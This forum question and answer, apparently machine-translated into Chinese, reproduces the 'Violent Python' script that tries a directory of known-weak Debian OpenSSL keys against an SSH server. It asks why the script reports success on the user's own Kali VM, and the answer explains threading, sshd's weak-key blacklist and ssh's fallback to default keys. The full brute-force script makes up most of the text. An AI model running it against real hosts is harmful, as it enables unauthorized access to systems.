所以我正在阅读这本很棒的书“Violent Python”。在第2章中,有一个Python脚本使用私钥对Debian计算机或可能运行SSH服务器的任何计算机进行身份验证,该服务器上没有强私钥。以下是剧本:
#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
奇怪的是当我在我的内部局域网上运行这个基于Debian的Kali副本时,Python脚本打印出它发现了一些易受攻击的私钥。我不确定为什么它会在操作系统上找到几个易受攻击的密钥。当我运行脚本时,我指定1)主机,2)用户名,以及3)由HD Moore生成的充满私钥的目录。我不得不使用wayback机器获取他为2048强度非对称算法生成的RSA私钥。
示例输出:
[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
无论如何,为什么脚本说它在我的Debian Kali虚拟机(VM)上找到了许多用户名的私钥?我尝试使用ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root@192.168.1.11 -o PasswordAuthentication=no
命令使用明显易受攻击的私钥登录,但它无法正常工作。为什么不起作用? Python脚本实际上没有按照它所说的那样做吗? X射线眼镜有人吗?让我继续......
然后我检查了我的Debian Kali VM上的/var/log/auth.log
,它有一些有趣而神秘的条目。日志显示为Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))
我在Debian Kali操作系统上阅读了ssh-vulnkey
的手册页,发现该程序可以在计算机上找到易受攻击的密钥。我尝试使用-v verbose
选项运行它,看到一些键显然很脆弱,但我不明白f键是怎么回事。
有没有人有一个易于理解的解释:1)为什么脚本会返回成功找到密钥的结果?2)黑名单auth.log
消息的含义是什么?另外,3)如果发现易受攻击的密钥,为什么我不能使用所述密钥登录我的计算机呢?
此外,是否应该将其移至information-security
?
邪恶的Python脚本:
O'Connor,TJ(2012-12-28)。暴力Python:黑客,法医分析师,渗透测试人员和安全工程师的食谱。爱思唯尔科学。 Kindle版。
答案 0 :(得分:1)
据我所知,脚本只是遍历目录并尝试将它们用作连接到给定SSH服务器的密钥。这是在线程中完成的,因此输出的顺序不确定。由于我们在启动新线程之前检查全局Stop
标志是否为True
,因此可能会发生并非所有文件都被检查,因为一个早期线程已成功完成并设置了标志。这就是为什么它报告找到了一个密钥。
您的SSH守护程序将由破坏的OpenSSL版本生成的弱密钥列入黑名单。这是一件好事,你可以阅读它here。这也是您无法登录的原因。
ssh
会自动回退到在配置目录中查找有效密钥。因此,连接确实成功,但忽略了命令行参数。尝试使用-vvv
运行命令并观察输出:
$ ssh user@host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]